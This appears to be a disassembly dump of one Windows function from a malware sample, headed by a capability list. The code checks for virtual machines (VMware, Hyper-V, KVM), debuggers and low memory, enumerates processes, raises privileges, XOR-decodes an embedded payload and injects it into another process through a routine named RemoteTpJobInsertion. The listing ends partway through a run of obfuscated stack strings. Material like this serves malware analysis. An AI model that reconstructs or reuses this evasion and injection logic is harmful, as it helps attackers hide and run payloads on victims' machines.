Function at 0x140004490
Capabilities:
Check for debugger via api
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Enumerate processes
Get memory capacity
Move file

Disassembly:
push r13
push r14
push r15
mov eax, 0x1240
call fcn.140031460
sub rsp, rax
mov qword [rsp + 0x220], 0xfffffffffffffffe
mov qword [rsp + 0x1260], rbx
mov qword [rsp + 0x1268], rsi
mov qword [rsp + 0x1270], rdi
mov qword [rsp + 0x1278], r12
movaps xmmword [rsp + 0x1230], xmm6
movaps xmmword [rsp + 0x1220], xmm7
mov rax, qword [0x14007b080]
xor rax, rsp
mov qword [rsp + 0x1218], rax
xor ecx, ecx
call fcn.140036204
mov rcx, rax
call fcn.1400355e4
call fcn.1400355b8
mov ecx, eax
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
test cl, 1
lea rcx, [0x1400a28d0]
lea rdx, str.x_is_even
je 0x140004539
lea rdx, str.x_is_odd
call fcn.1400074c0
mov rcx, rax
call fcn.140007710
xor ecx, ecx
call fcn.140036204
mov qword [rsp + 0x38], rax
xor eax, eax
mov qword [rsp + 0xa30], rax
mov qword [rsp + 0xa38], rax
mov qword [rsp + 0xa40], rax
mov qword [rsp + 0xa48], rax
mov dword [rsp + 0xa50], eax
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0xa30]
call fcn.140035b1c
xor r12d, r12d
mov qword [rsp + 0x9e0], r12
mov dword [rsp + 0x9e8], r12d
mov dword [rsp + 0x9dc], 0x7c
mov dword [rsp + 0x9d8], 6
mov dword [rsp + 0x9d4], 0xb
mov qword [rsp + 0x9cc], r12
mov dword [rsp + 0x9c8], r12d
lea rcx, [rsp + 0x9c8]
call fcn.140035ef8
cmp qword [rsp + 0x38], rax
jge 0x140006e35
mov qword [rsp + 0x9b8], r12
mov dword [rsp + 0x9c0], r12d
mov dword [rsp + 0x9b4], 0x7c
mov dword [rsp + 0x9b0], 6
mov dword [rsp + 0x9ac], 0xa
mov qword [rsp + 0x9a4], r12
mov dword [rsp + 0x9a0], r12d
lea rcx, [rsp + 0x9a0]
call fcn.140035ef8
cmp qword [rsp + 0x38], rax
jl 0x140006e3b
xor ecx, ecx
call fcn.140036204
mov rcx, rax
call fcn.1400355e4
call fcn.1400355b8
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 2
mov ebx, edx
shr ebx, 0x1f
add edx, ebx
lea ebx, [rdx + rdx*4]
add ebx, ebx
sub r8d, ebx
lea rcx, [0x1400a28d0]
test r8b, 1
lea rdx, str.x_is_even
je 0x14000468e
lea rdx, str.x_is_odd
call fcn.1400074c0
mov rcx, rax
call fcn.140007710
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0xdf0]
call fcn.140032df0
mov r8d, 0x104
lea rdx, [rsp + 0xdf0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rax, [rsp + 0xdf0]
mov rdi, 0xffffffffffffffff
mov rdx, rdi
nop dword [rax + rax]
inc rdx
cmp word [rax + rdx*2], r12w
jne 0x1400046e0
inc rdx
lea rcx, [rsp + 0xdf0]
call fcn.140036118
lea rdx, [0x1400a49d8]
lea rcx, [rsp + 0xa10]
call fcn.1400031f0
lea rdx, [rsp + 0xa10]
cmp qword [rsp + 0xa28], 8
cmovae rdx, qword [rsp + 0xa10]
lea rcx, [rsp + 0xdf0]
call fcn.140032654
test rax, rax
setne bl
mov rdx, qword [rsp + 0xa28]
cmp rdx, 8
jb 0x140004783
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xa10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000477e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006e41
call fcn.140030d20
test bl, bl
je 0x140006e47
call fcn.140003e50
call fcn.1400038d0
test al, al
jne 0x140006e4d
call fcn.140003e50
call fcn.1400034e0
test al, al
jne 0x140006e61
call fcn.140003b60
test al, al
jne 0x140006e61
xor eax, eax
mov qword [rsp + 0x44], rax
mov eax, 0x40000000
xor ecx, ecx
cpuid
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x44], ebx
mov dword [rsp + 0x48], ecx
mov dword [rsp + 0x4c], edx
mov qword [rsp + 0xde4], r12
mov byte [rsp + 0xdec], r12b
mov dword [rsp + 0xde0], edx
mov qword [rsp + 0x7b0], r12
mov qword [rsp + 0x7b8], 0xf
mov byte [rsp + 0x7a0], r12b
lea rax, [rsp + 0xde0]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r12b
jne 0x140004820
lea rdx, [rsp + 0xde0]
lea rcx, [rsp + 0x7a0]
call fcn.140002180
lea rcx, [rsp + 0x7a0]
mov rbx, qword [rsp + 0x7a0]
mov rsi, qword [rsp + 0x7b8]
cmp rsi, 0x10
cmovae rcx, rbx
mov r14, qword [rsp + 0x7b0]
cmp r14, 0xc
jne 0x14000487f
mov r8, r14
lea rdx, str.VMwareVMware
call fcn.140033030
test eax, eax
je 0x1400048d1
lea rcx, [rsp + 0x7a0]
cmp rsi, 0x10
cmovae rcx, rbx
cmp r14, 0xc
jne 0x1400048a8
mov r8, r14
lea rdx, str.Microsoft_Hv
call fcn.140033030
test eax, eax
je 0x1400048d1
lea rcx, [rsp + 0x7a0]
cmp rsi, 0x10
cmovae rcx, rbx
cmp r14, 9
jne 0x14000490d
mov r8, r14
lea rdx, str.KVMKVMKVM
call fcn.140033030
test eax, eax
jne 0x14000490d
cmp rsi, 0x10
jb 0x140006e61
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140006e59
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006e59
jmp 0x140006e53
cmp rsi, 0x10
jb 0x140004944
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000493c
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006e67
mov rcx, rbx
call fcn.140030d20
mov qword [rsp + 0x68], 5
lea rcx, [rsp + 0x68]
call fcn.1400077b0
call fcn.140003e50
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x14000497b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
test eax, eax
je 0x14000497d
mov al, 1
test al, al
jne 0x140006e6d
mov qword [rsp + 0x70], 5
lea rcx, [rsp + 0x70]
call fcn.1400077b0
call fcn.140003e50
mov dword [rsp + 0xa60], 0x40
lea rcx, [rsp + 0xa60]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x1400049cd
mov eax, 0x80000000
cmp qword [rsp + 0xa68], rax
jb 0x140006e73
mov qword [rsp + 0x78], 0xa
lea rcx, [rsp + 0x78]
call fcn.1400077b0
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x14006dec8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x60]
xor r8d, r8d
lea edx, [r8 + 1]
lea ecx, [rdx + 0x13]
call rax
lea rdx, [0x1400a4a08]
lea rcx, [rsp + 0x7e0]
call fcn.1400031f0
nop
lea rsi, [rsp + 0x7e0]
cmp qword [rsp + 0x7f8], 8
cmovae rsi, qword [rsp + 0x7e0]
mov r14d, r12d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140006de6
mov dword [rsp + 0xba0], 0x238
lea rdx, [rsp + 0xba0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140004ab3
nop dword [rax + rax]
lea rdx, [rsp + 0xbcc]
mov rcx, rsi
call fcn.14003568c
test eax, eax
je 0x140004aab
lea rdx, [rsp + 0xba0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140004a80
jmp 0x140004ab3
mov r14d, dword [rsp + 0xba8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14d, r14d
je 0x140006de6
mov byte [rsp + 0x20], 0
mov qword [rsp + 0x200], r12
mov qword [rsp + 0x208], 0xf
mov byte [rsp + 0x1f0], 0
mov r8d, 0x12
lea rdx, [0x14006dfc0]
lea rcx, [rsp + 0x1f0]
call fcn.140002180
lea r9, [rsp + 0x20]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x14]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov edx, eax
lea rcx, [rsp + 0x1f0]
call fcn.14000da60
mov ecx, dword [0x1400a1268]
inc ecx
call fcn.1400310d8
mov rbx, rax
mov qword [rsp + 0x218], rax
mov r8d, 0xc756
lea rdx, str.kct
mov rcx, rax
call fcn.140032990
lea rcx, [rbx + 0xc756]
mov r8d, 0xc756
lea rdx, [0x1400883b0]
call fcn.140032990
lea rcx, [rbx + 0x18eac]
mov r8d, 0xc754
lea rdx, str._vGJUT_vDG_vE_TJUT_vDG_vJGRHUT_vUV_vE_TJUT_vUV_vJGRHUP_v_OUP_vUCUQ_vMCU_T_vU_RG_vOHRC_vOHRN_vRNRH_vGRT_vRTRR_vTSSM_vSGST_vVMS_vS_vE_TJS_vS_vJGRHPO_vPHN_vGN_vENUN_vENRN_vEHN_vNMN_vKIN_vUAN_vRQS_vG
call fcn.140032990
mov eax, dword [0x1400a1268]
mov byte [rax + rbx], 0
mov edx, dword [0x1400a1268]
mov rax, r12
test rdx, rdx
je 0x140004c2d
cmp rdx, 0x40
jb 0x140004c09
mov ecx, edx
and rcx, 0xffffffffffffffc0
movdqa xmm2, xmmword [0x14006e560]
movdqu xmm0, xmmword [rax + rbx]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax + rbx], xmm1
movdqu xmm0, xmmword [rax + rbx + 0x10]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax + rbx + 0x10], xmm1
movdqu xmm0, xmmword [rax + rbx + 0x20]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax + rbx + 0x20], xmm1
movdqu xmm0, xmmword [rax + rbx + 0x30]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax + rbx + 0x30], xmm1
add rax, 0x40
cmp rax, rcx
jb 0x140004bb2
cmp rax, rdx
jae 0x140004c2d
lea rcx, [rax + rbx]
sub rdx, rax
nop word [rax + rax]
xor byte [rcx], 0x26
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140004c20
mov ecx, 0x48
call fcn.140030ce4
mov rsi, rax
mov qword [rsp + 0x30], rax
mov eax, dword [0x1400a1268]
mov dword [rsi + 8], r14d
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], r12
mov qword [rsi + 0x20], rbx
mov qword [rsi + 0x28], rax
mov qword [rsi + 0x38], r12
mov qword [rsi + 0x40], r12
lea rax, vtable.RemoteTpJobInsertion.0
mov qword [rsi], rax
mov qword [rsp + 0x210], rsi
mov ebx, dword [rsi + 8]
mov qword [rsp + 0x1e0], r12
mov qword [rsp + 0x1e8], 0xf
mov byte [rsp + 0x1d0], 0
mov r8d, 0xb
lea rdx, [0x14006e090]
lea rcx, [rsp + 0x1d0]
call fcn.140002180
mov r8d, ebx
xor edx, edx
mov ecx, 0x478
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdx, rax
lea rcx, [rsp + 0x1d0]
call fcn.14000dca0
mov rbx, rax
mov ecx, 8
call fcn.140030ce4
mov qword [rax], rbx
mov byte [rsp + 0x28], 0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.14000def0
lea rdx, [rsp + 0x50]
lea rcx, [rsi + 0x10]
call fcn.140001cf0
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140004d44
mov eax, edi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140004d44
mov rbx, qword [rsp + 0x58]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140004d44
mov rcx, qword [rsp + 0x58]
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax]
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 8]
mov qword [rsi + 0x30], rax
mov rcx, qword [rsi + 0x10]
mov r9, qword [rsi + 0x28]
mov r8, qword [rsi + 0x20]
mov rdx, rax
mov rcx, qword [rcx]
call fcn.14000de60
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x10]
nop
mov rax, qword [rsi]
mov edx, 1
mov rcx, rsi
call qword [rax + 0x18]
nop
mov qword [rsp + 0x30], 0xa
lea rcx, [rsp + 0x30]
call fcn.1400077b0
mov dword [rsp + 0x450], 0xfc4d0033
mov dword [rsp + 0x454], 0x2b822830
mov dword [rsp + 0x458], 0x2befff08
mov dword [rsp + 0x45c], 0xdc0fcee3
mov dword [rsp + 0x460], 0x483de7f5
mov dword [rsp + 0x464], 0xebcdd8c9
mov dword [rsp + 0x468], 0x8dfe400
mov dword [rsp + 0x46c], 0x9f8c7c1
mov dword [rsp + 0x470], 0x7b1750c7
mov dword [rsp + 0x474], 0x51e057ae
mov dword [rsp + 0x478], 0xade0160
mov dword [rsp + 0x47c], 0x904a0090
mov dword [rsp + 0x480], 0x818ce886
mov dword [rsp + 0x484], 0xb7c61e12
mov dword [rsp + 0x488], 0x6effa0ae
mov dword [rsp + 0x48c], 0x40b460e2
mov dword [rsp + 0x490], 0xaf20a6
mov dword [rsp + 0x494], 0x2d5eb836
mov dword [rsp + 0x498], 0x9fec1140
mov dword [rsp + 0x49c], 0xdf113246
mov dword [rsp + 0x4a0], 0xe6a3670b
mov dword [rsp + 0x4a4], 0x6104e4b4
mov dword [rsp + 0x4a8], 0x7a902c9f
mov dword [rsp + 0x4ac], 0x295a475d
mov dword [rsp + 0x4b0], 0xa17d864a
mov dword [rsp + 0x4b4], 0x127463
mov word [rsp + 0x4b8], 0x478b
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x1b8], xmm0
mov qword [rsp + 0x1c8], r12
lea r8, [rsp + 0x4ba]
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0x1b8]
call fcn.140007970
nop
mov dword [rsp + 0x2d8], 0xfc030018
mov dword [rsp + 0x2dc], 0x2bae2818
mov dword [rsp + 0x2e0], 0x2ba7ff2b
mov dword [rsp + 0x2e4], 0xdc47cea3
mov dword [rsp + 0x2e8], 0x4832e7f2
mov dword [rsp + 0x2ec], 0xeb83d8cd
mov dword [rsp + 0x2f0], 0x8c2e435
mov dword [rsp + 0x2f4], 0x9f2c783
mov dword [rsp + 0x2f8], 0x7b3850c7
mov dword [rsp + 0x2fc], 0x51f657df
mov dword [rsp + 0x300], 0xa92017e
mov dword [rsp + 0x304], 0x90410091
mov dword [rsp + 0x308], 0x818ee8c6
mov dword [rsp + 0x30c], 0xb7cc1e01
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x1a0], xmm0
mov qword [rsp + 0x1b0], r12
lea r8, [rsp + 0x310]
lea rdx, [rsp + 0x2d8]
lea rcx, [rsp + 0x1a0]
call fcn.140007970
nop
mov dword [rsp + 0x530], 0xfc4d0033
mov dword [rsp + 0x534], 0x2b822830
mov dword [rsp + 0x538], 0x2befff08
mov dword [rsp + 0x53c], 0xdc0fcee3
mov dword [rsp + 0x540], 0x483de7f5
mov dword [rsp + 0x544], 0xebcdd8c9
mov dword [rsp + 0x548], 0x8dfe400
mov dword [rsp + 0x54c], 0x9f8c7c1
mov dword [rsp + 0x550], 0x7b1750c7
mov dword [rsp + 0x554], 0x51e057ae
mov dword [rsp + 0x558], 0xade0160
mov dword [rsp + 0x55c], 0x904a0090
mov dword [rsp + 0x560], 0x818ce886
mov dword [rsp + 0x564], 0xb7c61e12
mov dword [rsp + 0x568], 0x6effa0ae
mov dword [rsp + 0x56c], 0x40b460e2
mov dword [rsp + 0x570], 0xaf20a6
mov dword [rsp + 0x574], 0x2d5eb836
mov dword [rsp + 0x578], 0x9fec1140
mov dword [rsp + 0x57c], 0xdf113246
mov dword [rsp + 0x580], 0xe6a3670b
mov dword [rsp + 0x584], 0x6104e4b4
mov dword [rsp + 0x588], 0x7a892c86
mov dword [rsp + 0x58c], 0x2950475e
mov dword [rsp + 0x590], 0xa121865b
mov dword [rsp + 0x594], 0x44746a
mov dword [rsp + 0x598], 0xb6a9478a
mov word [rsp + 0x59c], 0xbc0c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
mov qword [rsp + 0x198], r12
lea r8, [rsp + 0x59e]
lea rdx, [rsp + 0x530]
lea rcx, [rsp + 0x188]
call fcn.140007970
nop
mov dword [rsp + 0x310], 0xfc030018
mov dword [rsp + 0x314], 0x2bae2818
mov dword [rsp + 0x318], 0x2ba7ff2b
mov dword [rsp + 0x31c], 0xdc47cea3
mov dword [rsp + 0x320], 0x4832e7f2
mov dword [rsp + 0x324], 0xeb83d8cd
mov dword [rsp + 0x328], 0x8c2e435
mov dword [rsp + 0x32c], 0x9f2c783
mov dword [rsp + 0x330], 0x7b3850c7
mov dword [rsp + 0x334], 0x51ef57df
mov dword [rsp + 0x338], 0xa910167
mov dword [rsp + 0x33c], 0x9050009b
mov dword [rsp + 0x340], 0x8187e89a
mov dword [rsp + 0x344], 0xb7cd1e57
mov dword [rsp + 0x348], 0x6ef4a0ac
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x170], xmm0
mov qword [rsp + 0x180], r12
lea r8, [rsp + 0x34c]
lea rdx, [rsp + 0x310]
lea rcx, [rsp + 0x170]
call fcn.140007970
nop
mov dword [rsp + 0x5a0], 0xfc4d0033
mov dword [rsp + 0x5a4], 0x2b822830
mov dword [rsp + 0x5a8], 0x2befff08
mov dword [rsp + 0x5ac], 0xdc0fcee3
mov dword [rsp + 0x5b0], 0x483de7f5
mov dword [rsp + 0x5b4], 0xebcdd8c9
mov dword [rsp + 0x5b8], 0x8dfe400
mov dword [rsp + 0x5bc], 0x9f8c7c1
mov dword [rsp + 0x5c0], 0x7b1750c7
mov dword [rsp + 0x5c4], 0x51e057ae
mov dword [rsp + 0x5c8], 0xade0160
mov dword [rsp + 0x5cc], 0x904a0090
mov dword [rsp + 0x5d0], 0x818ce886
mov dword [rsp + 0x5d4], 0xb7c61e12
mov dword [rsp + 0x5d8], 0x6effa0ae
mov dword [rsp + 0x5dc], 0x40b460e2
mov dword [rsp + 0x5e0], 0xaf20a6
mov dword [rsp + 0x5e4], 0x2d5eb836
mov dword [rsp + 0x5e8], 0x9fec1140
mov dword [rsp + 0x5ec], 0xdf113246
mov dword [rsp + 0x5f0], 0xe6a3670b
mov dword [rsp + 0x5f4], 0x6104e4b4
mov dword [rsp + 0x5f8], 0x7a892c86
mov dword [rsp + 0x5fc], 0x2956475e
mov dword [rsp + 0x600], 0xa12a864f
mov dword [rsp + 0x604], 0x587435
mov dword [rsp + 0x608], 0xb6a147c0
mov dword [rsp + 0x60c], 0xa1fcbc0c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x158], xmm0
mov qword [rsp + 0x168], r12
lea r8, [rsp + 0x610]
lea rdx, [rsp + 0x5a0]
lea rcx, [rsp + 0x158]
call fcn.140007970
nop
mov dword [rsp + 0x390], 0xfc030018
mov dword [rsp + 0x394], 0x2bae2818
mov dword [rsp + 0x398], 0x2ba7ff2b
mov dword [rsp + 0x39c], 0xdc47cea3
mov dword [rsp + 0x3a0], 0x4832e7f2
mov dword [rsp + 0x3a4], 0xeb83d8cd
mov dword [rsp + 0x3a8], 0x8c2e435
mov dword [rsp + 0x3ac], 0x9f2c783
mov dword [rsp + 0x3b0], 0x7b3850c7
mov dword [rsp + 0x3b4], 0x51ef57df
mov dword [rsp + 0x3b8], 0xa910167
mov dword [rsp + 0x3bc], 0x9044009d
mov dword [rsp + 0x3c0], 0x81d8e891
mov dword [rsp + 0x3c4], 0xb7871e4b
mov dword [rsp + 0x3c8], 0x6ef4a0a4
mov word [rsp + 0x3cc], 0x60a0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x150], r12
lea r8, [rsp + 0x3ce]
lea rdx, [rsp + 0x390]
lea rcx, [rsp + 0x140]
call fcn.140007970
nop
mov dword [rsp + 0x680], 0xfc4d0033
mov dword [rsp + 0x684], 0x2b822830
mov dword [rsp + 0x688], 0x2befff08
mov dword [rsp + 0x68c], 0xdc0fcee3
mov dword [rsp + 0x690], 0x483de7f5
mov dword [rsp + 0x694], 0xebcdd8c9
mov dword [rsp + 0x698], 0x8dfe400
mov dword [rsp + 0x69c], 0x9f8c7c1
mov dword [rsp + 0x6a0], 0x7b1750c7
mov dword [rsp + 0x6a4], 0x51e057ae
mov dword [rsp + 0x6a8], 0xade0160
mov dword [rsp + 0x6ac], 0x904a0090
mov dword [rsp + 0x6b0], 0x818ce886
mov dword [rsp + 0x6b4], 0xb7c61e12
mov dword [rsp + 0x6b8], 0x6effa0ae
mov dword [rsp + 0x6bc], 0x40b460e2
mov dword [rsp + 0x6c0], 0xaf20a6
mov dword [rsp + 0x6c4], 0x2d5eb836
mov dword [rsp + 0x6c8], 0x9fec1140
mov dword [rsp + 0x6cc], 0xdf113246
mov dword [rsp + 0x6d0], 0xe6a3670b
mov dword [rsp + 0x6d4], 0x6104e4b4
mov dword [rsp + 0x6d8], 0x7a932c87
mov dword [rsp + 0x6dc], 0x2950474a
mov dword [rsp + 0x6e0], 0xa162865c
mov dword [rsp + 0x6e4], 0x5a7434
mov dword [rsp + 0x6e8], 0xb6a147c0
mov dword [rsp + 0x6ec], 0xa1fcbc0c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x128], xmm0
mov qword [rsp + 0x138], r12
lea r8, [rsp + 0x6f0]
lea rdx, [rsp + 0x680]
lea rcx, [rsp + 0x128]
call fcn.140007970
nop
mov dword [rsp + 0x350], 0xfc030018
mov dword [rsp + 0x354], 0x2bae2818
mov dword [rsp + 0x358], 0x2ba7ff2b
mov dword [rsp + 0x35c], 0xdc47cea3
mov dword [rsp + 0x360], 0x4832e7f2
mov dword [rsp + 0x364], 0xeb83d8cd
mov dword [rsp + 0x368], 0x8c2e435
mov dword [rsp + 0x36c], 0x9f2c783
mov dword [rsp + 0x370], 0x7b3850c7
mov dword [rsp + 0x374], 0x51ee57df
mov dword [rsp + 0x378], 0xa85017d
mov dword [rsp + 0x37c], 0x9057009b
mov dword [rsp + 0x380], 0x81d9e8d9
mov dword [rsp + 0x384], 0xb7871e49
mov dword [rsp + 0x388], 0x6ef4a0a4
mov word [rsp + 0x38c], 0x60a0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], r12
lea r8, [rsp + 0x38e]
lea rdx, [rsp + 0x350]
lea rcx, [rsp + 0x110]
call fcn.140007970
nop
mov dword [rsp + 0x610], 0xfc4d0033
mov dword [rsp + 0x614], 0x2b822830
mov dword [rsp + 0x618], 0x2befff08
mov dword [rsp + 0x61c], 0xdc0fcee3
mov dword [rsp + 0x620], 0x483de7f5
mov dword [rsp + 0x624], 0xebcdd8c9
mov dword [rsp + 0x628], 0x8dfe400
mov dword [rsp + 0x62c], 0x9f8c7c1
mov dword [rsp + 0x630], 0x7b1750c7
mov dword [rsp + 0x634], 0x51e057ae
mov dword [rsp + 0x638], 0xade0160
mov dword [rsp + 0x63c], 0x904a0090
mov dword [rsp + 0x640], 0x818ce886
mov dword [rsp + 0x644], 0xb7c61e12
mov dword [rsp + 0x648], 0x6effa0ae
mov dword [rsp + 0x64c], 0x40b460e2
mov dword [rsp + 0x650], 0xaf20a6
mov dword [rsp + 0x654], 0x2d5eb836
mov dword [rsp + 0x658], 0x9fec1140
mov dword [rsp + 0x65c], 0xdf113246
mov dword [rsp + 0x660], 0xe6a3670b
mov dword [rsp + 0x664], 0x6104e4b4
mov dword [rsp + 0x668], 0x7a932c99
mov dword [rsp + 0x66c], 0x29564750
mov dword [rsp + 0x670], 0xa12a864f
mov dword [rsp + 0x674], 0x587435
mov dword [rsp + 0x678], 0xb6a147c0
mov dword [rsp + 0x67c], 0xa1fcbc0c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xc8], xmm0
mov qword [rsp + 0xd8], r12
lea r8, [rsp + 0x680]
lea rdx, [rsp + 0x610]
lea rcx, [rsp + 0xc8]
call fcn.140007970
nop
mov dword [rsp + 0x410], 0xfc030018
mov dword [rsp + 0x414], 0x2bae2818
mov dword [rsp + 0x418], 0x2ba7ff2b
mov dword [rsp + 0x41c], 0xdc47cea3
mov dword [rsp + 0x420], 0x4832e7f2
mov dword [rsp + 0x424], 0xeb83d8cd
mov dword [rsp + 0x428], 0x8c2e435
mov dword [rsp + 0x42c], 0x9f2c783
mov dword [rsp + 0x430], 0x7b3850c7
mov dword [rsp + 0x434], 0x51f057df
mov dword [rsp + 0x438], 0xa9f017d
mov dword [rsp + 0x43c], 0x9044009d
mov dword [rsp + 0x440], 0x81d8e891
mov dword [rsp + 0x444], 0xb7871e4b
mov dword [rsp + 0x448], 0x6ef4a0a4
mov word [rsp + 0x44c], 0x60a0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0xa8], r12
lea r8, [rsp + 0x44e]
lea rdx, [rsp + 0x410]
lea rcx, [rsp + 0x98]
call fcn.140007970
nop
mov dword [rsp + 0x6f0], 0xfc4d0033
mov dword [rsp + 0x6f4], 0x2b822830
mov dword [rsp + 0x6f8], 0x2befff08
mov dword [rsp + 0x6fc], 0xdc0fcee3
mov dword [rsp + 0x700], 0x483de7f5
mov dword [rsp + 0x704], 0xebcdd8c9
mov dword [rsp + 0x708], 0x8dfe400
mov dword [rsp + 0x70c], 0x9f8c7c1
mov dword [rsp + 0x710], 0x7b1750c7
mov dword [rsp + 0x714], 0x51e057ae
mov dword [rsp + 0x718], 0xade0160
mov dword [rsp + 0x71c], 0x904a0090
mov dword [rsp + 0x720], 0x818ce886
mov dword [rsp + 0x724], 0xb7c61e12
mov dword [rsp + 0x728], 0x6effa0ae
mov dword [rsp + 0x72c], 0x40b460e2
mov dword [rsp + 0x730], 0xaf20a6
mov dword [rsp + 0x734], 0x2d5eb836
mov dword [rsp + 0x738], 0x9fec1140
mov dword [rsp + 0x73c], 0xdf113246
mov dword [rsp + 0x740], 0xe6a3670b
mov dword [rsp + 0x744], 0x6104e4b4
mov dword [rsp + 0x748], 0x7a8c2c90
mov dword [rsp + 0x74c], 0x29514755
mov dword [rsp + 0x750], 0xa1328659
mov dword [rsp + 0x754], 0x37476
mov dword [rsp + 0x758], 0xb6a147c0
mov dword [rsp + 0x75c], 0xa1fcbc0c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xc0], r12
lea r8, [rsp + 0x760]
lea rdx, [rsp + 0x6f0]
lea rcx, [rsp + 0xb0]
call fcn.140007970
nop
mov dword [rsp + 0x3d0], 0xfc030018
mov dword [rsp + 0x3d4], 0x2bae2818
mov dword [rsp + 0x3d8], 0x2ba7ff2b
mov dword [rsp + 0x3dc], 0xdc47cea3
mov dword [rsp + 0x3e0], 0x4832e7f2
mov dword [rsp + 0x3e4], 0xeb83d8cd
mov dword [rsp + 0x3e8], 0x8c2e435
mov dword [rsp + 0x3ec], 0x9f2c783
mov dword [rsp + 0x3f0], 0x7b3850c7
mov dword [rsp + 0x3f4], 0x51f957df
mov dword [rsp + 0x3f8], 0xa9a0162
mov dword [rsp + 0x3fc], 0x9052009a
mov dword [rsp + 0x400], 0x819be889
mov dword [rsp + 0x404], 0xb7871e10
mov dword [rsp + 0x408], 0x6ef4a0a4
mov word [rsp + 0x40c], 0x60a0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], r12
lea r8, [rsp + 0x40e]
lea rdx, [rsp + 0x3d0]
lea rcx, [rsp + 0x80]
call fcn.140007970
nop
mov dword [rsp + 0x4c0], 0xfc4d0033
mov dword [rsp + 0x4c4], 0x2b822830
mov dword [rsp + 0x4c8], 0x2befff08
mov dword [rsp + 0x4cc], 0xdc0fcee3
mov dword [rsp + 0x4d0], 0x483de7f5
mov dword [rsp + 0x4d4], 0xebcdd8c9
mov dword [rsp + 0x4d8], 0x8dfe400
mov dword [rsp + 0x4dc], 0x9f8c7c1
mov dword [rsp + 0x4e0], 0x7b1750c7
mov dword [rsp + 0x4e4], 0x51e057ae
mov dword [rsp + 0x4e8], 0xade0160
mov dword [rsp + 0x4ec], 0x904a0090
mov dword [rsp + 0x4f0], 0x818ce886
mov dword [rsp + 0x4f4], 0xb7c61e12
mov dword [rsp + 0x4f8], 0x6effa0ae
mov dword [rsp + 0x4fc], 0x40b460e2
mov dword [rsp + 0x500], 0xaf20a6
mov dword [rsp + 0x504], 0x2d5eb836
mov dword [rsp + 0x508], 0x9fec1140
mov dword [rsp + 0x50c], 0xdf113246
mov dword [rsp + 0x510], 0xe6a3670b
mov dword [rsp + 0x514], 0x6104e4b4
mov dword [rsp + 0x518], 0x7a902c9f
mov dword [rsp + 0x51c], 0x295a475d
